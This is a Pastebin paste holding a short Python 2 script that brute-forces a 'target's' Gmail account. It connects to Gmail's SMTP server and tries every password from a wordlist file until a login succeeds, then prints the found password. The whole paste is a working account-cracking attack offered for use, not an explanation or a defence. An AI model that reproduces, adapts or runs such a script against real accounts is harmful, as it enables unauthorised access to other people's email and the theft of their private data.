Advertisement
Guest User

Untitled

a guest
Jan 17th, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1. import smtplib
  2.  
  3. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  4. smtpserver.ehlo()
  5. smtpserver.starttls()
  6.  
  7. user = raw_input("Enter the target's email address: ")
  8. passwfile = raw_input("Enter the password file name: ")
  9. passwfile = open(passwfile, "r")
  10.  
  11. for password in passwfile:
  12. try:
  13. smtpserver.login(user, password)
  14.  
  15. print "[+] Password Found: %s" % password
  16. break;
  17. except smtplib.SMTPAuthenticationError:
  18. print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement